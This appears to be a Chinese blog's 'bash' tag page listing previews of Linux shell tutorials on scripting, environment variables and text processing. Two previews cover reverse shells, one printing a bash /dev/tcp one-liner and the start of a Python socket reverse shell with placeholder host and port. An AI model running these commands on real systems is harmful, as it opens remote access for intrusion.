标签 bash 下的文章

  • 📂linux:shell脚本的建立和执行教程

    shell脚本的建立和执行shell脚本的建立建立shell脚本的步骤与建立普通文本文件相同,可以利用编辑器(如vi) 进得名使用。录入和编辑加工。执行shell脚本的方式执行shell脚本的方式有下述3种。①输入定向到shell脚本。该方式用输入重定向方式让shell从给定文件中读行,并进行相应处理。其一般形式如下:$bash<脚本名例如:$ bash <ex1sel从文件ex...

  • 📂CentOS7环境变量教程

    1、CentOS7环境变量分系统环境变量和用户环境变量系统环境变量:/etc/bashrc、/etc/profile、/etc/profile.d推荐:/etc/profile.d用户环境变量:~/.bash\_profile、~/.bashrc推荐:~/.bash\_profile2、查看环境变量 env 命令、echo命令env|grep 环境变量名,例如查看环境变量名中包含PATH的环...

  • 📂LINUX系统基础命令教程

    1.shellLinux系统中运行的一种特殊程序在用户和内核之间之间充当“翻译官”用户登陆Linux系统时,自动加载一个Shell程序Bash是Linux系统中默认使用的Shell程序内核:用于调用计算机硬件资源shell:将用户指令转换成计算机语言让内核去调用计算机硬件资源bash是一个文件,linux系统中万物皆文件bash文件位于/bin/bash

  • 📂100个开箱即用的shell脚本,CV大法好,工作不费脑!教程

    Shell脚本是帮助程序员和系统管理员完成费时费力的枯燥工作的利器,是与计算机交互并管理文件和系统操作的有效方式。区区几行代码,就可以让计算机接近按照你的意图行事。 田哥为大家整理了100个实例,通过100个实战经典脚本实例,展示了shell脚本编程的实用技术和常见工具用法。大家只需根据自己的需求,将文中这些常见任务和可移植自动化脚本推广应用到其他类似问题上,能解决那些三天两头碰上的麻烦事。...

  • 📂Shell编程之免交互教程

    文章目录一、Here Document1.概述2.使用注意事项3.示例3.1 直接修改密码3.2 忽略制表符3.3 多行注释二、Expect1.概述2.基本命令2.1 expect2.2 send2.3 spawn2.4结束符2.5 set2.6 exp\_continue2.7 send\_user3.示例3.1 远程其他主机3.2 无交互使得另一台主机的新磁盘挂载-一、Here Docu...

  • 📂Linux命令的类型:如何看清一条命令的“真身”是什么?教程

    在Linxu环境下执行一条命令,看似相同,实际上命令是分为不同类型:bash内置命令:这种命令实际上是没有对应的可执行文件的,是bash内置的命令。普通外部命令: 这种命令对应一个可执行文件,文件放在一个特定目录下。hashed外部命令:这种命令和普通外部命令的区别是,bash对于普通外部命令,会根据环境变量PATH依次搜索命令文件所在位置,找到后加载文件到内存中执行。而hashed命令是提...

  • 📂【Linux学习笔记】初识Linux---shell理论教程

    shell分类:(基本上shell可以分成两类)一:图形界面shell (Graphical User Interface shell,即 GUI shell)① 应用最为广泛的Windows Explorer(微软的Windows系列操作系统)② Linux shell,Linux shell包括X Window Manager(BlackBox和FluxBox),以及功能更强大的CD...

  • 📂鸟哥的Linux私房菜学习之第十二章笔记教程

    shell 脚本是利用 shell 的功能所写的一个【程序(program)】,这个程序是使用纯文本文件,并一些shell 的语法与命令(含外部命令)写在里面,搭配正则表达式、管道命令与数据流重定向等功能,以达到我们所想要的处理目的shell 脚本用在系统管理上面是很好的一项工具,但 是用在处理大量数值运算上,就不够好了,因为shell 脚本的速度较慢,且使用的 CPU 资源较多 会造成主机...

  • 📂Linux bash 文本处理命令awk,sed,grep 用法教程

    Linux bash 文本处理命令grep, sed, awk用法 ======================================================grep, sed, awk 的主要用途及区别:grep 用法grep -rn "hello,world!" ./ ./ : 表示路径为当前目录. -r 是递归查找 -n 是显示行号 如果...

  • 📂Shell脚本中实现切换用户并执行命令操作教程

    执行多条语句#!/bin/bash su - calos <<EOF pwd; exit; EOF 在这种方式中使用到文件路径时,需要使用绝对路径。执行一条语句切换用户执行一条命令:su - calos -c command切换用户执行一个shell文件:su - calos /bin/bash test.sh

  • 📂【Linux入门到精通系列讲解】shell脚本语法入门教程(看一篇就够了)

    文章目录1 IF2 IF-TEHN-ELSE3 多步判断4 FOR循环5 WHILE循环6 case语句7 函数控制1 IF#!/bin/bash #假如在/tep/abc文件夹 那么创建一个 if [ ! -d ~/Desktop/work/tmp ] then mkdir -v ~/Desktop/work/tmp echo "123"...

  • 📂几个反弹shell教程

    几个反弹shell作者: admin时间: 2021-05-27分类: 信息收集=============================================================================================================================================================...

  • 📂Linux目录跟bash核心命令教程

    \### 图形化配置网卡\~~~bash nmtui 配置完成 保存退出 systemctl restart network 重启所有网卡 查看ip ip a ifconfig(yum install net-tools -y) \~~~\### Linux bash命令行\~~~bash [root@oldboy ~]# 命令行提示符@前面的字符代表当前登录的用户(可用...

  • 📂【整理】inux下几种常见的反弹shell方式教程

    [整理]Linux下几种常见的反弹shell方式方法1:使用linux命令反弹shell反弹shell命令格式如下:bash -i >& /dev/tcp/ip/port 0>&1 方法2:使用python反弹shell反弹shell命令格式如下:python -c "import os,socket,subprocess;s=socket.socket...

  • 📂Linux | 管首命令符号教程

    简介 =======================管道的意思,在我们日常生活中,意思就是运输一个东西,到下一个地方,所以说 管道命令符 的使用也是差不多的,也是运送一段数据到下一个地方,格式:命令A | 命令B | 命令C .... 所以说,管道命令符号的具体作用就是把上一个命令的输出做为一下个命令的输入。 有了这个命令,我们可以把好多个命令合并到一执行了,并且简化了我们的输入,提高...

  • 📂【Linux】Shell基础教程

    一、shell概述shell是一个命令行解释器,他接收应用程序/用户命令,然后调用操作系统内核完成相应操作。shell是一个功能强大的编程语言,具有易编写、易调试灵活性强等特点二、shell解析器Linux提供的shell解析器有:1 [root@H__D temp]# cat /etc/shells 2 /bin/sh 3 /bin/bash 4 /usr/bin/sh 5 /usr/b...

  • 📂shell编程—简介(一)教程

    1、shell概念 shell是一个用C语音编写的程序,他是用户使用Linux的桥梁 shell既是一种命令语音,又是一种程序设计语音 shell是指一种应用程序,这个应用程序提供一个界面,用户通过这个界面访问操作系统内核的服务2、shell脚本 shell脚本全称是shell script,是一种为shell编写的脚本程序 Ken Thompson的sh是第一种Unix...

  • 📂shell编程基本语法和变量教程

    一.编写shell脚本基本格式拿最简单的hello word举例.#!/bin/bash echo 'hello world' .#!/bin/bash:告诉计算机,使用bash解释器来执行代码echo: 打印二.运行shell脚本方法一(推荐使用)chmod 777 myshell.sh #给文件权限 ./myshell.sh #运行文件 方法2sh myshell....

  • 📂Linux系统内置变量教程

    常用的系统变量UID: 当前用户的UID HOME: 当前用户的家目录 SHELL: 当前使用的shell类型 /bin/bash BASHPID: 当前bash的进程编号 HISTSIZE: 缓冲区记录命令历史的数量 MAIL: 当前用户的邮件信息储存目录 /var/spool/mail/root PATH: 二进制执行文件(外部命令)的搜索路径 LANG: 系...

  • 📂Linux 将zsh 变为 bash默认教程

    尝鲜一时爽,回头火葬场前几天尝试了zsh,风格很炫酷,但是目录切换以及目录提示太过温馨,让我怀念起bash的简朴,我就想回到bash。虽然我知道,bash直接就可以回到,但是我不想默认zsh了。1. 卸载zsh离别的话:和平分手!Oh My Zsh isn’t for everyone. We’ll miss you, but we want to make this an easy bre...

  • 📂Linux下报:-bash: ./server.sh: 权限不够教程

    1.错误原因:这是因为对*.sh文件的读、写、运行权限不足;<pre class="has">-bash-4.2$ ./server.sh -bash: ./server.sh: 权限不够2.解决方案:chmod 777 ./*.sh<pre class="has">-bash-4.2$ chmod 777 ./*.sh

  • 📂Shell-/bin/bash和/bin/sh解释器的误用引起的脚本语法错误教程

    文章目录生猛干货背景问题分析解决办法知识点回顾搞定Linux核心技术生猛干货 从系统安装到程序员必备的Linux技能,还原真实工作场景,手把手带你实战演练-背景 下面的脚本,在Linux上运行良好,在SUNOS执行的时候报语法错误。#! /bin/sh #支持fwu的使用fwu 不支持的使用fu PS_TYPE="ps -fwu" do_ps=`ps -fwu ...

  • 📂Shell脚本攻略01-简介/终端打印教程

    概述 终端打印  玩转变量与环境变量  使用函数填加环境变量  通过shell进行数学运算  玩转文件描述符与重定向  数组和关联数组  使用别名  获取终端信息  获取、设置日期及延时  调试脚本  函数和参数  将命令序列的输出读入变量  以不按回车键的方式获取字符”n”  运行命令...

  • 📂CentOs上node环境搭建教程

    连接服务器ssh root@ip通过以下命令安装NVM(有时在gitBash上怎么也安装不了,换个远程方式试试)curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.0/install.sh | bash //或者 wget -qO- https://raw.githubusercontent.com/creatio...

  • 📂Linux| 常用命令教程

    echo =========================echo命令用于在终端输出字符串或变量提取后的值,格式为echo [字符串|$变量值]。 # 输出字符串 echo https://www.cnblogs.com/FrostBoy/ # 输出:https://www.cnblogs.com/FrostBoy/ # 输出变量值 echo $BA...

  • 📂鸟哥的Linux私房菜基础学习篇--进程(process)一 归纳总结教程

    权限!权限!权限!没有权限,一些资源你是没办法使用的。在Linux中cat filename,结果屏幕显示了filename的内容,为什么你能看见,而我不能?权限。与UID/GID有关,与文件的属性有关,同时与process进程也有关。在Linux上敲一个命令,实质上是一些二进制文件在执行,也可以说是程序,而二进制文件在运行时,都会产生一个进程,操作系统就是通过进程来管理访问资源,达到效果。...

  • 📂Linux修改history存储的最大记录数教程

    在linux系统下、history命令会保存多少条命令呢?曾在一本书上说,如果注销系统,那么会将所有的历史命令都定入到~/.bash\_history,但只保留1000条命令(这个是由默认的shell变量所设置了的)但是为什么我们执行history命令后会出现大于1000条的历史记录呢,其实当我们仔细一看只是序列大于1000、记录的条数还是1000条。在此我是这样理解的:1、~/.bash\...

  • 📂shell脚本awk应用教程

    awk工作原理 逐行读取文本,默认以空格或tab键为分隔符进行分隔,将分隔所得的各个字段保存到内建变量中,并按模式或者条件执行编辑命令sed命令常用于一整行的处理,而awk比较倾向于将一行分成多个"字段"然后再进行处理。awk信息的读入也是逐行读取的,执行结果可以通过print的功能将字段数据打印显示。在使用awk命令的过程中,可以使用逻辑操作符:"&“表示"与”、"||“”表示"或"、...

  • 📂Shell脚步编程教程

    Test程序1#!/bin/bash A="how" B="h" test $A = $B echo $? 程序2#!/bin/bash A=10 B=99 test $B -gt $A echo $? if语句程序1#!/bin/bash if [ $# -d 1 ] then echo "usage:$0 filenam...

  • 📂Linux命令8教程

    安装 javaee jdk mysql apache ideaIUshell编程 x.sh脚本格式要求: 1.脚本以#!/bin/bash开头 2.脚本要有可执行权限 vim hello.sh 写上:!/bin/bash ===============================echo "hello,world" 保存退出 sh hello.sh chmod ...